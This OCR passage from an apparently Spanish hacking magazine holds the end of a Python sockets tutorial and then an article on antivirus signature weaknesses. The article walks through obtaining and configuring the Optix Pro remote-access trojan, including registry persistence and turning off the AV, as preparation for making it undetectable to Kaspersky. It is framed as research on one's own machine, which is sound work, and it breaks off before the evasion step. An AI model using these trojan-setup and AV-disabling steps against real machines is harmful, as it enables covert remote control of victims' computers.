que la funcién nos devuelva un valor?
Para eso usamos la instruccién return.

>>> def funcion_ret(x,y):

return x+y

>>> z=funcion_ret(3,4)
>>> print z

7

>>>

Devolvemos el valor y lo almacenamos
en una variable (z) y luego ya podemos
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hacer con él lo que queramos. Facil,
verdad?

Crear ahora nuestros propios modulos
importables seria tan sencillo como
crear un fichero lleno de nuestras fun-
ciones y en nuestros programas impor-
tar aquellas que necesitdramos. Util y
rapido.

Bueno, si habéis llegado hasta aqui sin
dormiros es que tenéis mucha pacien-
cia. Lo agradezco y espero que hasta el
momento os haya gustado el desarrollo
del articulo. Puede que se esté haciendo
algo corto, pero debéis comprender que
explicar todas y cada una de las funcio-
nes y métodos que hemos visto hasta
ahora seria interminable asi que he pre-
ferido mencionarlas y daros las herra-
mientas para que las busquéis ( dir() )
y miréis como funcionan por vuestra
cuenta (ademas asi se aprende mejor.
Tropezando y levantandose). ahora lle-
gamos a una parte mas interesante.
Vamos a aprender a pasar argumentos
al programa y como aliciente para que
hagais experimentos en casa aprende-
remos a programar sockets. Eso si, na-
da de modulos. Sockets a mano y en
bruto ;)

Pasando argumentos
desde la linea de
comandos

Quizas os preguntéis porque hasta el
momento no he explicado para que sir-
ve los programas del principio. Bueno,
una razdén es que creo que sois lo bas-
tante listos como para averiguarlo pero
basicamente es porque hasta el mo-
mento no ha sido necesario echar mano
de ellos para las explicaciones. Hasta el
momento...

Los programas son dos: el echo-
server.py es un programa que abre el
puerto que tu le digas y se pone a la es-
cucha. Su funcién es, como su nombre
indica, devolver dato a dato todo lo que
le manden a quien se lo mandé. El
echo-client.py es el cliente del server
(aunque podriais usar cualquier progra-
ma de conexién como telnet o netcat).
Manda cadenas de caracteres y luego
muestra por pantalla lo que recibe del
server.
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A veces nos interesa que un programa
tenga varias opciones disponibles y no
es factible hacer un menu de usuario.
Aqui entran en juego los argumentos.
Para realizar esta tarea necesitaremos
la ayuda del mddulo sys.

La “lista” que almacena los argumentos
del programa es argv y puede ser im-
portada del médulo sys.

Veamos nuestro programa echo-
server.py:

[ import socket,sys
if (len(sys.argv)!=2):
print './echoserver.py [puerto]'
sys.exit(10)

Como podemos ver, se importa sys y te-
nemos disponible argv. El primer ele-
mento de argv y que siempre esta pre-
sente es el mismo nombre del progra-
ma. Después vendrian todos los argu-
mentos que se le pasen al programa (es
importante que recordéis que como en
las listas, se empieza a numerar a partir
del cero, por si necesitais acceder a un
elemento en particular).

En el programa comprobamos la longi-
tud de la lista argv usando la funcién
len() y vemos si es distinta de dos. Si lo
es, les soltamos el “manual del usuario”
para recordar como se usa el programa,
y salimos. La funcién exit(), aprove-
chando la ocasion, es una forma rapida
de salir del programa en curso. Si se
omite el parametro se considera salida
correcta (o igual a cero).

Vamos a hacer otra prueba con el argv
para que veais como es (un programa

muy sencillo):

prueba_argv.py

[ #!/usr/bin/env python
import sys

print sys.argv

Si lo ejecutamos con argumentos:

Se imprime la lista entera (entre cor-
chetes) de todos los argumentos, y co-
mo podéis ver, el primero es el propio
nombre del programa. Ahora ya podréis
crear programas mas aparentes y “pro-
fesionales” ;)

Sockets “a mano”

Lleg6 el tan ansiado momento. Espero
explicarme bien y que me comprendais.
Vamos a explicar una por una las intruc-
ciones de los programas server.py y
client.py.

Primero el servidor:

s=socket.socket(socket AF_INET,socket. SOCK._STREAM)

Aqui creamos un socket TCP al llamar a
la funcion socket() del mddulo socket
(fijaos: socket.socket) y lo asignamos a
la variable “s”. Los parametros le indi-
can que es un socket TCP. El primer pa-
rametro, AF_INET, indica que usaremos
el protocolo IP y el segundo parametro,
SOCK_STREAM indica que es un socket
que usa el protocolo TCP.

Todas las opciones disponibles como pa-
rametros son:

AF_INET:
AF_UNIX:

indica sockets IP

indica sockets UNIX en la
maquina local
SOCK_STREAM: indica protocolo TCP
SOCK_DGRAM:
SOCK_RAW:

indica protocolo UDP
indica raw socket (en crudo)

s.bind((maquina,puerto))

Ligamos el socket a una direccién IP y
un puerto con bind() (fijaos que pongo
la variable con un punto y luego la
funcion. Esto tiene que ver con la
programaciéon de objetos pero ya lo ve-
remos otro dia. Quedaos con que se ha-
ce asi y listos). Si os fijais, hay doble
paréntesis. No es un error de imprenta.

Bind() necesita que se lepasen los para-
metros en una tupla, y las tuplas, si re-
cordais se declaran entre paréntesis.

Shadowland:~/python$

Shadowland:~/python$ ./prueba_argv.py hola segundo mirando argumentos
['./prueba_argv.py', 'hola', 'segundo’, 'mirando', 'argumentos']
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La variable puerto, si veis el cédigo del
programa, es igual a argv[1], es decir,
que el puerto se lo pasamos por consola
(repasad otra vez el apartado de argv si
no lo tenéis claro), y la variable maqui-
na equivale a la cadena vacia (' comi-
Ilas simples). Por qué la cadena vacia?
Porque el host en un server se declara
asi, indicando que la funcién bind() se
ejecuta en la maquina local. Los avispa-
dos os habréis dado cuenta de que di-
cha variable podria contener cualquier
otra cosa. Es cierto, podria contener
una IP por ejemplo, pero tened en
cuenta que a no ser que esa IP coincida
con la del ordenador donde se esta eje-
cutando el programa, este no funciona-
ra :pP

I s.listen(5)

Esto es sencillo. Pone a escuchar al soc-
ket en el puerto y limita el numero
maximo de conexiones aceptadas antes
de empezar a denegar el acceso (en es-
te caso 5). Como nuestro server no esta
programado con threads, aceptara la
primera conexidn y las siguientes 5 las
dejard “en espera” hasta que el server
esté disponible.

Es necesario siempre el parametro de
listen() con un minimo de 1.

En estos momentos, el server esta listo
y a la escucha y se pone en bucle infini-
to a la espera de conexiones entrantes
(por eso el while 1. Por cierto, por si no
lo habéis deducido, para salir del server
en ejecucion la Unica forma es pulsar
Ctrl-C, como en el netcat ;P )

conn,dir_conn=s.accept()

Aceptamos la conexidon entrante y alma-
cenamos los datos en dos variables (en
Python estd permitida la asignacion
multiple). La conexion real se almacena
en la variable conn y la direccién del
cliente en dir_conn

eco(conn,dir_conn)

Llamamos a nuestra funcién eco() con
los dos parametros obtenidos en acce-
pt(), y dentro de ella entraremos en
otro bucle infinito para ir leyendo la
informacion segun vaya llegando.

data=conn.recv(1024)
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Recibimos 1024 bytes (1 kb) de
informacion y la almacenamos en la va-
riable data.

r if not data: break

Si llegara el momento de que data fuera
igual a la cadena vacia, lo que significa-
ria que no se han recibido mas datos, el
bucle while infinito se romperia (gracias
a break)

conn.send('Echo -> '+data)

Envia de vuelta al cliente los datos reci-
bidos en data con send()

r conn.close()

Cierra la conexién una vez acabado el
bucle.

Con todo esto queda explicado el ser-
ver. Ahora nos meteremos con el clien-
te. Sera mas sencillo y rapido de expli-
car puesto que ya hemos visto como
funcionan las cosas. Metamonos en ha-
rina:

s=socket.socket(socket AF_INET,socket. SOCK_STREAM)

Creamos el objeto socket como en el
server.

s.connect((maquina, puerto))

Conectamos al par maquina:puerto me-
diante connect(). Este funciona igual
que bind() so6lo que conecta a la maqui-
na destino en vez de ligar un puerto al
socket. Necesita, al igual que bind(),

que se le pasen los parametros en una
tupla.

s.send(linea)

Manda el contenido de la variable linea
al host destino.

I data=s.recv(1024)

Recibe el resultado.

s.close()

Cierra el socket.

Bien, ya estd. Supongo que no ha sido
tan doloroso ni complicado, verdad?
Con esto tenemos una buena base para
desarrollar nuestras pequefias aplicacio-
nes orientadas a la conexidn, ya sean
servers o clientes.

Hemos llegado al final del articulo. Ha
quedado mas corto que el primero pero
esto es asi porque el primero era todo
el pefiazo de la sintaxis del lenguaje y
habia que dejarlo claro. Pensad que hu-
biera pasado si no lo hubiera hecho.
Dos articulos seguidos aguantando un
tostén? ;P

Para no variar las costumbres os voy a
poner un ejercicio para que vayais prac-
ticando todo.

Ejercicio:

Tomando como base lo que hemos ex-
plicado, debéis intentar crear un progra-
ma que usando sockets se conecte a un

servidor SMTP y envie un e-mail. Para
los que hayan seguido la revista, la
explicacion de los comandos SMTP ha
salido en el curso de PyC. Para quienes
no la hayan seguido, os haré un breve
resumen:

HELO mi_nombre para identifi-
carse uno mis-
mo
MAIL FROM: mi_mail para indicar el
remitente del
correo
RCPT TO: correo_destino  para indicar el
receptor del
correo
QUIT para salir del

SMTP

Debéis recordar que para finalizar el
texto del mensaje tenéis que acabar
con un punto en una linea independien-
te, y un retorno de carro, asi:

Este es un mensaje de prueba. Tanto gusto.
<cr>

Y aqui acabamos. Hasta el “Episodio 3”.
Saludos...

PD: uh-oh, se me olvidaba. Un breve
resumen de lo que vendra en el siguien-
te articulo: Ficheros, Objetos y clases,
Moddulos de sockets especializados y una
sorpresita (no os lo voy a decir todo,
verdad? ;) )

Agradecimientos a HpN, HXC y a mi mu-
jer Marta

PON AQUI TU PUBLICIDAD
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Poniendo a prueba el Antivirus
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HACHING

Poniendo a
prueba el Antivirus

¢Como funciona un antivirus? ¢Como de efectivo es a la hora de identificar software malintencionado?

¢Es posible engafiarlo? Dicho de otra manera, {podemos fiarnos de nuestro antivirus? En este articulo

intentaremos responder a estas peguntas con un ejemplo practico. Veremos en qué basan su

funcionamiento la mayoria de los antivirus y veremos también lo relativamente facil que es modificar

un archivo detectado para volverlo indetectable manteniéndolo plenamente funcional. El objetivo de

este articulo es proporcionar una mayor perspectiva para valorar la seguridad que nos puede

proporcionar este tipo de software.

Introduccion

La empresas fabricantes de antivirus no cejan en su empefio
de convencernos de que su producto es todo lo que
necesitamos para sentirnos a salvo contra virus, troyanos,
gusanos y todo tipo de software malicioso. Mi intencién en
este articulo es dar una idea general acerca del
funcionamiento de los antivirus y poner de manifiesto la
fragilidad del sistema de deteccion que todavia es el mas
usado hoy en dia: el método de firmas.

Los antivirus y sus limitaciones

Un antivirus es un programa mas de los que se ejecutan
constantemente en nuestro ordenador, cuya mision es
interceptar e impedir la ejecucion de otros programas que él
considera peligrosos. Hoy en dia la nomenclatura anti-virus
esta desfasada, lo correcto seria llamarlos anti-malware, ya
que hay muchos tipos diferentes de programas maliciosos
que son detectados por los antivirus (virus, gusanos,
troyanos, spyware, exploits, scripts, macros, ...). Es decir se
trata de programas que luchan contra otros programas. La
Unica ventaja que tienen los antivirus (que llamaremos AV a
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partir de ahora) sobre el malware es que los primeros ya
suelen estar funcionando cuando los segundos tratan de
ejecutarse por primera vez, de manera que juegan con la
ventaja de haber podido obtener con anterioridad el control
del sistema. Su gran desventaja es que no pueden reconocer
a su enemigo hasta que ya ha empezado el ataque. El
malware tiene todo el tiempo del mundo para estudiar a los
AV a fondo y fabricar nuevas armas “a medida”, en cambio el
AV tienen la complicada misién de reaccionar en milésimas de
segundo ante ataques de desconocidos con armas también
desconocidas.

Dado que se trata de productos comerciales privados (en su
inmensa mayoria), por tanto sujetos a las leyes del
marketing, una parte fundamental de una empresa de AV se
basa en la publicidad. En principio no hay ningln problema en
la propaganda, es algo totalmente asimilado por nuestra
sociedad, pero cuando se tratan cuestiones de seguridad el
tema se vuelve delicado. Si nos paseamos por las webs de los
principales AV del mercado veremos la mayoria nos
transmiten mas o menos la siguiente idea: “Cémprame y
olvidate de los virus”. Pues bien, es suficiente un poco de
sentido comun para darse cuenta del tremendo error que se
comete al creer algo asi, pero para que no os quepa ninguna
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duda os recomiendo que ledis este
articulo de Hispasec (en mi opinién una
de las mejores empresas espafiolas de
seguridad informatica) sobre la
publicidad del servicio de Terra que in-
corpora una solucién antivirus: http://
www . hispasec.com/unaaldia/2292.

Como afirma Bernardo Quintero:

“Anuncios como el de Terra, ademas
de ser publicidad falsa (con lo que ello
pudiera conllevar), son claramente
contraproducentes para los usuarios,
ya que crean una falsa sensacion de
seguridad. Los usuarios deben ser en
todo momento conscientes de las
limitaciones intrinsecas de las
soluciones antivirus, y en ningtin mo-
mento deben olvidarse de los virus, o
terminaran infectandose. Los antivirus
son una capa de seguridad recomen-
dable y necesaria en sistemas domés-
ticos y entornos corporativos, pero
como toda solucion tiene sus limitacio-
nes, y es entonces cuando la tnica linea
de defensa es el factor humano. Si va-
mos promulgando que el antivirus es
infalible, que el usuario debe olvidarse
de los virus por completo, o incluyendo
un pie en el correo electronico diciendo
que el mensaje esta libre de virus... al
final lograremos que, por un exceso de
confianza, el usuario se infecte.”

Espero que este articulo ayude a mostrar
a la mayor cantidad de gente posible
algunas de las limitaciones a las que se
hace referencia en el articulo citado y les
permita valorar con mayor conocimiento
de causa la proteccion puede
proporcionar la solucion AV elegida.

Método de Firmas

Este es el método de deteccion basico
que usan todos los AV del mercado. Eso
no quiere decir que sea el Unico, ni
mucho menos, pero dado que es el de
mayor rapidez y fiabilidad dentro de
sus limitaciones, constituye el minimo
comin denominador de todas las
soluciones AV. {Y en qué consiste este
método? Todos los archivos estan
formados por una serie de bytes
ordenados. Cuando los laboratorios de
una empresa de AV identifican un
archivo como virus, lo primero que hacen
es ponerle un nombre, luego escogen
una o varias series continuas de bytes de
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ese archivo y las almacena en una base
de datos relacionandolas con el recién
bautizado virus. A partir de este momen-
to, cuando el motor de blsqueda del
antivirus encuentre esta cadena en
algun archivo lo identificara como el vi-
rus que tiene definido en su catalogo.

Por definicién, con el método de firmas
solo es posible detectar virus que ya
hayan pasado por el laboratorio de las
empresas de AV. Es decir, es un método
incapaz de detectar tanto a mutaciones
nuevas de virus ya conocidos como a los
virus completamente nuevos que se
creen en el futuro. Al menos durante un
intervalo de tiempo, que puede ser de
horas o semanas dependiendo de lo que
tarde en reaccionar cada empresa de AV
ante la nueva amenaza, todos los equi-
pos protegidos Unicamente por este
método seran totalmente vulnerables.

Un ejemplo relativamente reciente de
este mecanismo (y que también nos da
una idea de la acusada dependencia del
meétodo de firmas por parte de la mayoria
de las soluciones AV) lo tenemos en el
seguimiento que hizo Hispasec de la
propagacion del gusano 'Pawur' y de su
analisis de los tiempos de reaccién de
cada producto: http://www.hispasec
.com/unaaldia/2221 , http://www.hispa
sec.com/unaaldia/2223 .

Métodos Proactivos

Los métodos proactivos son diferentes
sistemas de deteccion que intentan
identificar el software malicioso nuevo y
gue por tanto todavia no ha sido cata-
logado. Si habéis leido los articulos de
Hispasec mencionados habréis compro-
bado que el AV Nod32 de la empresa
Eset fue el primero en identificar el virus
Pawur como 'probable virus' nada mas
aparecer. ¢Como es eso posible? Pues
muy sencillo, pudo hacerlo porgue uso
un método alternativo al reconocimiento
de firmas: el método heuristico. En
palabras de la misma Eset, el método
heuristico "se basa en complejos algo-
ritmos matematicos que intentan antici-
parse a las acciones que pudiera efectuar
un codigo determinado si éste fuera
ejecutado". De esta manera es posible
identificar virus futuros sin necesidad de
catalogos de firmas.

PC Paso a Paso

Pero todo "pro" tiene sus "contras", y en
este caso la caracteristica principal de
este método es también su principal
problema: su tremenda complejidad. Y
de esta complejidad se derivan otros
problemas:

-Se consumen muchos recursos para
procesar cada archivo mediante este
método, con la consiguiente carga vy
ralentizacion del sistema que implica.

-Debido a que es un método probabi-
listico se pueden generar falsos positi-
vos, es decir, se puede identificar como
posibles virus a archivos que realmente
no lo son.

-El tercer punto en contra viene
derivado de los dos anteriores: dado el
elevado consumo de recursos que
necesitan estas soluciones heuristicas y
la relativa poca fiabilidad (en general)
que han conseguido hasta ahora, hace
gue pocos AV tengan activada esta
opcion, al menos en su modo mas
avanzado, en su configuracion por defec-
to. A pesar de que esto no representa un
problema serio para un usuario
avanzado, el usuario medio, que es el
mas susceptible de ejecutar archivos
potencialmente peligrosos, no se suele
preocupar de cambiar la configuracion
por defecto, y por lo tanto sigue depen-
diendo del método de firmas o de una
heuristica débil para su proteccion.

La heuristica no es el Gnico método
proactivo, cada vez mas las diferentes
empresas de AV se esfuerzan en sacar
nuevos métodos de este tipo. El Panda,
por ejemplo, no hace mucho sacé su
tecnologia 'TruPrevent' que consiste en
emular por anticipado el funcionamiento
del software analizado en un entorno
seguro para poder decidir si su compor-
tamiento real puede o no resultar dafi-
no. Norman también ha apostado fuerte
por su nueva tecnologia 'Norman Sand-
box' que sigue una idea similar a la de
Panda. Consiste en crear una mini-
maquina virtual aislada del sistema ope-
rativo real y ejecutar en su interior el
software a analizar para poder valorarlo
de manera segura.

Sin duda el camino de los métodos pro-
activos es el que puede proporcionar
mayor seguridad a los usuarios y debe-
ran sequirlo tarde o temprano todas las
companias de AV para poder sobrevivir.
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Debilidades del
método de firmas

El método de firmas se basa en el
reconocimiento de una cadena de bytes
por parte del AV. Sabiendo esto, équé
ocurriria si se modificara esa cadena?
Pues que el archivo modificado dejaria
de contener la cadena catalogada por el
AV y por lo tanto dejaria de ser detectado
como virus. Asi de simple... y asi de
complejo ~_A!

Me explico, para conseguir cambiar una
cadena detectada por un antivirus
primero debemos encontrarla, y eso no
es tarea facil. Es necesario localizar una
serie particular de bytes (normalmente
unas pocas decenas) entre un auténtico
océano (un ejecutable normal suele
tener del orden de varios cientos de
miles de bytes, llegando facilmente a
millones o 'megas'). Cadena (o serie, 0
firma) que por descontado no
conocemos, porque como es logico, los
AV no acostumbran a publicar sus bases
de datos. Ademas, por si esto fuera poco,
los buenos AV suelen escoger cadenas
con informacién importante para la
correcta ejecucién del programa, de
manera que si un byte es cambiado por
otro cualquiera (aleatorio) el programa
se vuelve muy inestable o directamente
deja de funcionar.

Si se modifican las firmas de un
archivo detectado por un antivirus,
éste pasara a no ser detectado .

El caso es que, para bien o para mal,
existen técnicas que permiten localizar la
cadena detectada por los AV. Y también
existen otras para modificar la cadena
detectada sin hacerlo de manera
aleatoria, es decir, sustituyendo esa
serie de instrucciones por otra diferente
con la que se obtenga el mismo resultado
en la ejecucién del programa.

En fin, siempre he creido que las
opiniones mejor fundamentadas son las
que se hacen con conocimiento de causa,
y que la mejor manera de saber a qué
sabe un naranja es comiéndote una :P.
Asi que siguiendo la filosofia “"Conoce al
enemigo para poder protegerte de él” os
invito a poner en practica todos estos
conceptos en un ejemplo real, para
poder asimilarlos mejor y decidir por
vosotros mismos hasta que punto podéis
confiaren vuestro AV.
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Demostracion Practica

En esta demostracion convertiremos en
indetectable para uno de los AV mas
populares, el Kaspersky, a uno de los
troyanos mas conocidos de la gente de
'Evil Eye Software' (EES): el Optix Pro
en su version 1.32. ¢Por qué este y no
otro? Pues primero porque necesitamos
un archivo que sea ampliamente
detectado por todos los AV. Y segundo
porque es bastante "“limpio”, es
facilmente eliminable una vez instalado,
tanto “a mano” como automaticamente
desde su cliente. Este punto es
importante porque sera necesario
ejecutar el troyano para comprobar su
correcto funcionamiento una vez
modificado, y no me parece muy... esto...
digamos “saludable” el ejecutar un virus
modificado que, por ejemplo, nos
formatee el disco duro (o_0O!) tan sdlo
para comprobar que todas las
modificaciones funcionan correcta-
mente. Por no hablar del tremendo dafo
ajeno que podriamos causar si deci-
diéramos modificar un gusano y este
acabara escapandose de nuestras manos
e infectando otros ordenadores. Esto ul-
timo, ademas, nos convertiria en delin-
cuentes. Asi que extremad el cuidado al
usar los conocimientos que aqui se expli-
can puesto que su Unica finalidad es la
investigacion en equipos exclusivamente
de vuestra propiedad. De lo contrario
podriais incluso acabar en la carcel.

También debo advertir de que todos los
datos referentes a los AV que se dan en
este articulo deben considerarse
meramente orientativos debido a que la
inmensa mayoria de ellos se actualizan
automaticamente cada dia (en el caso
concreto del KAV sucede cada pocas
horas). Con esto me refiero tanto a las
firmas que vamos encontrando a lo largo
de la practica, como a la valoracion final
de su heuristica una vez aplicado el
método RiT. Por eso es posible que
cuando hagais vosotros la practica en-
contréis que no os coinciden los datos a
pesar de hacer todos los pasos correcta-
mente. Debeis tener en cuenta que eso
no es necesariamente un error vuestro ni
mio, puede que simplemente las firmas
del KAV para este archivo o su motor
heuristico hayan sido actualizados. Lo
que si puedo asegurar es que lo escrito
aqui es veridico (salvo error humano o
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tipografico) en el momento de redactar
este articulo, en Marzo del 2005. De to-
das formas este hecho no interfiere en el
objetivo principal de la préactica, que es
ensefiar una manera mas de poder
valorar nosotros mismos la fiabilidad de
nuestro AV.

He dejado un paquete en la web de la
revista que contiene esta version del
troyano, el servidor particular que
utilizaremos en las pruebas y algunas de
las herramientas que necesitaremos
para realizar la practica. Durante toda la
practica deberemos tener controlado el
antivirus que estemos usando para que
nos deje trabajar sin interrumpirnos a
cada segundo avisandonos de que ha
encontrado un troyano (el Optix, como
no), e impidiéndonos el acceso o
borréndolo directamente para meterlo
en cuarentena. Yo suelo tener un direc-
torio en la lista de exclusiones del
scanner residente del AV. Pero eso no
siempre es suficiente, por ejemplo
cuando abrimos el troyano con el editor
hexadecimal es probable que el AV nos
detecte el coédigo malicioso en la
memoria (asi ocurre con el NOD32), en
estos casos no queda mas remedio que
apagar el modulo residente del AV para
que no moleste. Este es el link directo
para la descarga:

http: h rack. rogr
[HXC28 antivirus.rar

El paquete es un 'rar' que contiene la
version del troyano que estudiaremos, el
archivo base usaremos para la practica y
una herramienta que usaremos y que es
un poco dificil de encontrar:

> TroyanoOptixPro
> ServidorOptixBase
> ToPo

Para los despistados gue todavia no lo
conozcan, un archivo 'rar' es como un
'zip' pero mejor. Necesitas el winrar para
descomprimirlo (www.rarsoft.com).

Todos los rar llevan la contrasefia 'hxc'
para que no tengdis problemas con
vuestros AV al bajarlos.

Preparando el troyano

Para empezar vamos a crear y configurar
el troyano Optix. Normalmente todos
los troyanos, al igual que las otras
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En esta demostracion
convertiremos en
indetectable para el
Kaspersky, a uno de
los troyanos mas
conocidos de "Evil
Eye Software’
(EES): el Optix Pro.

hitp://www.evileyesoftware.com

Imagen 1.

herramientas de acceso remoto, se
componen de dos programas distintos:
el cliente y el servidor. El cliente es el
gue ejecutamos en la maquina local y
sirve para poder conectarse al servidor.
El servidor es la parte que serd instalada
en el PC remoto y es donde realizaremos
las modificaciones necesarias para que el
AV no lo detecte. Digo normalmente
porque en ocasiones el mismo programa
puede comportarse como cliente y como
servidor dependiendo de los parametros
con que sea inicializado (es el caso del
Wollf de X-Focus). Como se trata de
una aplicaciéon de dudosa factura (no
olvidemos que es detectado por los AV) y
de codigo cerrado, no podemos tener la
seguridad absoluta de que no permite
acceso remoto a terceros sin nuestra au-
torizacion, asi que os recomiendo enca-
recidamente que para mayor seguridad
no permanezcais conectados a internet
mientras uséis este troyano, no os hara
ninguna falta para realizar todos los
pasos de la practica sin problemas.

Empecemos. La primera vez que ejecu-
tamos tanto el cliente como el servidor
nos sale un aviso para que aceptemos las
condiciones de uso de este software.
Para poder aceptar y continuar debemos
introducir el nombre indicado, dicho no-
mbre lo averiguaremos después de leer
con atencién la informacién que aparece
en ese punto. Hecho esto nos vamos a la
carpeta Builder ('Constructor') dentro
de la del Optix, abrimos el builder.exe y
nos aparece la ventana de la Imagen 1.

Como veis la gente de EES cuida mucho
el disefio en sus 'herramientas’, eso
siempre se agradece ;). En el panel de la
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Los troyanos, igual
que otras
herramientas de
acceso remolo,
contienen dos
programas distintos:
Cliente y Servidor

izquierda encontramos los distintos
apartados de configuracion:

+> El primero, 'Builder Settings’, sirve
para seleccionar el lenguaje de la apli-
cacién, lo dejamos tal cual y pasamos al
siguiente.

-> En 'Main Settings' encontramos dos
subapartados:

-'General Information'. Este apartado
es para configurar la informacion que
enviara el troyano a través del método
de notificacion gque elijamos mas
adelante. Los métodos de notificacion se
usan para poder localizar el servidor
remoto una vez instalado, principal-
mente por si tiene una IP dinamica.
Como nosotros nos lo vamos a instalar a
nosotros mismos no nos hara falta nada
de esto. Tan solo cambiaremos el
nombre de identificacion del servidor
para poder identificar cada version si
necesitamos hacer mas de uno. También
cambiaremos el puerto por defecto y
estableceremos la contrasefia, que
aunque realmente no hace falta nunca
esta de mas seguir buenas costumbres
de seguridad basica ;).

Esto es lo que yo he puesto:

-'Identification Name':Servidor de

prueba vO1
-'Server Port': 2005
-'Server Password': prueba
-'Confirmation': prueba

-'Server Icon'. Aqui el builder nos deja
elegir el icono que queremos ponerle al
ejecutable que nos generara al finalizar
la configuracién. Elegimos el icono que
mas no guste y pasamos al siguiente
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apartado. Yo elegi el que viene por
defecto.

-> En 'Startup Installation' configura-
remos el método de ejecucion automa-
tica del servidor en cada inicio del
windows vy el nombre y localizacion del
archivo una vez instalado.

- 'Startup’. Aqui se indica como quere-
mos que se cargue el troyano cada vez
que se inicie el Windows. Como no nece-
sitamos filigranas, tan solo que funcione,
elegimos el primer método 'Registry
Run (ALL OS)', que como ya nos indica el
nombre nos crea la clasica entrada en el
registro en:

[HKLM\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run]

Un poco mas abajo en 'Registry Key
Name' le ponemos el nombre de la clave
que gueramos que use, yo he optado por
una bastante mas descriptiva que la que
viene por defecto: 'ServidorOptix'.

-'File Setup'. Aqui damos el nombre de
archivo que queremos que tenga el
servidor una vez instalado, en mi caso
'ServidorOptix.exe' y le decimos si
preferimos que lo ponga en el directorio
raiz del Windows ('c:\windows',
normalmente) o en el del sistema
(‘c:\windows\system32'), yo elegi este
ultimo.

La casilla que hay justo debajo ('Melt
Server after installation') sirve para que
se autoborre el archivo instalador una
vez esté completamente instalado el
servidor. Para nosotros sera mas comodo
que eso no suceda.

-'Notifications'. Este es el apartado al
que hacia referencia anteriormente.
Como no necesitamos ningun método de
notificacion ya que nos lo instalaremos a
nosotros mismos, no solo no configu-
ramos ninguno sino que borramos la
entrada por defecto que hay en ICQ
(mira que son pillos estos de EES xD).

-'Firewalls & AVS Evasion'. En este
apartado hay toda una serie de
contramedidas pensadas para luchar
contra los AV o Firewalls que impiden la
correcta ejecucion del servidor, no nos
olvidemos de que estamos configurando
un software catalogado como troyano.
Bien, aqui es muy importante que
desactivéis todas las casillas, ya que
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para las pruebas que vamos a hacer
necesitamos que no se interfiera en
absoluto en la labor de los AV.

No necesitamos configurar nada mas,
con estos parametros tenemos
configurado el servidor del Optix para
que se ejecute de manera inofensiva.

Ahora solo nos falta crear el ejecutable
instalador. Pulsamos sobre el gran botén
negro de arriba a la izquierda
'‘Build/Create Server' y nos sale la
tipica ventana para guardar archivos,
elegimos lugar y nombre y guardamos.
Siempre es conveniente poner un
nombre descriptivo, en mi caso he
creado una carpeta que se llame
'‘Servidor Original' y he llamado al
archivo 'SrvOptix-Ins.exe'. Cuando le
damos a guardar nos aparece una
ventana que nos dice que ahora es el
momento adecuado para empacar,
encriptar o hacer las modificaciones que
queramos al ejecutable para complicarle
el trabajo a los AV, y que si queremos nos
lo comprimen automaticamente con el
UPX. Pero nada de esto nos interesa para
las pruebas que realizaremos, ya que
nuestro objetivo es que en principio el
servidor sea detectado como troyano por
los AV sin ningln problema, asi que le
decimos que no haga nada 'Ok, All done!’
y nos informa en la barra de estado del
builder de que todo ha ido bien 'Settings
writen succsessfully'.Vamos al directorio
donde lo hemos guardado y vemos que
efectivamente nos encontramos el
archivo 'SrvOptix-Ins.exe' de 801 kb.
Si seleccionamos el archivo en el explo-
rer y le damos a boton ‘'derecho'>
'propiedades' nos dice que el tamano
exacto es de '800 KB (819.489 Bytes), el
tuyo deberia ser exactamente del mismo
tamano si has puesto los mismos datos
que yo, o ligeramente diferente si has
cambiado algtin dato poco importante
como el password, el icono, o el nombre
de la clave de registro. Si el tamano del
tuyo difiere en mas de 150 bytes arriba o
abajo es que algo has hecho mal, lo
mejor es que empieces de nuevo o0
directamente uses el mio que encontra-
ras en el paguete gue has descargado.

Perfecto, ya tenemos el archivo insta-
lador del troyano, vamos a probarlo ~ /!

Ejecutamos el instalador v.... bueno, aqui
pueden pasar varias cosas. Sitenemos
un firewall instalado y activado (como
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Estos conocimientos
tienen como unica
finalidad la
investigacibén en
equipos exclusiva-
mente de vuestra
propiedad, de lo
contrario podriais
incluso acabar en la
carcel.

Configuraremaos el
servidor del Optix
para que se ejecute

de manera

inofensiva

por ejemplo el del SP2 del Windows XP)
lo normal es que nos avise de que un
nuevo ejecutable ha abierto puertos o
intenta comunicarse con el exterior.
Como nos vamos a comunicar con él
desde nuestro propio PC le podemos
decir gue blogquee la comunicacion de
ese ejecutable con el exterior, en prin-
cipio no representa un problema con el
firewall del XP SP2. Puede que con otros
firewalls si nos de algin problema, en
ese caso o lo configuramos adecuada-
mente para que no interfiera o directa-
mente lo desactivamos. Para estar total-
mente seguros siempre podemos
desconectar el cable de red o el modem
mientras hacemos las pruebas.

En el caso de que no tengamos firewall
no notaremos que pase nada. Eso es
totalmente normal, se trata de un
troyano, una de sus caracteristicas
principales es instalarse sigilosamente
;). Para comprobar que efectivamente se
ha instalado podemos mirar en el
registro y verificar que se ha afiadido una
clave llamada 'ServidorOptix' con la ruta
del archivo donde teniamos previsto que
se instalara.

Todo bien pues, ahora toca comprobar
que se comunique correctamente con el
cliente del troyano, la parte que
ejecutamos en nuestra maquina y que
servira para controlar el PC remoto.
Vamos a la carpeta Optix del paquete
que hemos bajado, vamos dentro de la
carpeta 'Client' y al ejecutar el archivo
client.exe veremos la Imagen 2.

Aqui ponemos la IP destino que en
nuestro caso coincide con la que sale por

PC Paso a Paso
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Imagen 2.

defecto, localhost 0 127.0.0.1. El puerto
que elegimos era el 2005 y la password
prueba. Le damos al botdn verde para
conectarnos y... ok!, la barra de estado
nos informa que nos hemos conectado
sin problemas.

En el arbol de la izquierda de la ventana
tenemos desglosadas todas las
posibilidades de interaccion entre cliente
y servidor. Bien, comprobemos que hay
buena comunicacién entre ambos
pidiéndole informacion al cliente sobre el
servidor al que esta conectado. Vamos
'Server Options'>'Server Information' y
le damos al botén de la derecha 'Get'. Si
todo ha ido bien nos mostrara la
configuracion de nuestro servidor. En
esta misma ventana en la parte inferior
hay tres botones:

-'Close Server File' hara que se termine
el proceso del servidor.

-'Restart Server File' nos reseteara el
proceso, es decir, lo apagard y lo
encendera otra vez. Util si se nos queda
medio colgado el servidor.

-'Uninstall Server' este botén nos sera
de utilidad ya que nos desinstalara
totalmente el servidor borrandolo del
disco duro y eliminara la entrada del
registro. Muy practico ;).

Para los que todavia tengan dudas de si
el servidor funciona correctamente se
puede probar otra de las utilidades de
este troyano como es el de navegar en
los archivos del disco duro estilo
explorer. Esta opcion esta en
'Managers'>'File Manager'. Se abrira una
ventana, le dais a 'Get Drives' y después
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al desplegable y elegis una unidad de
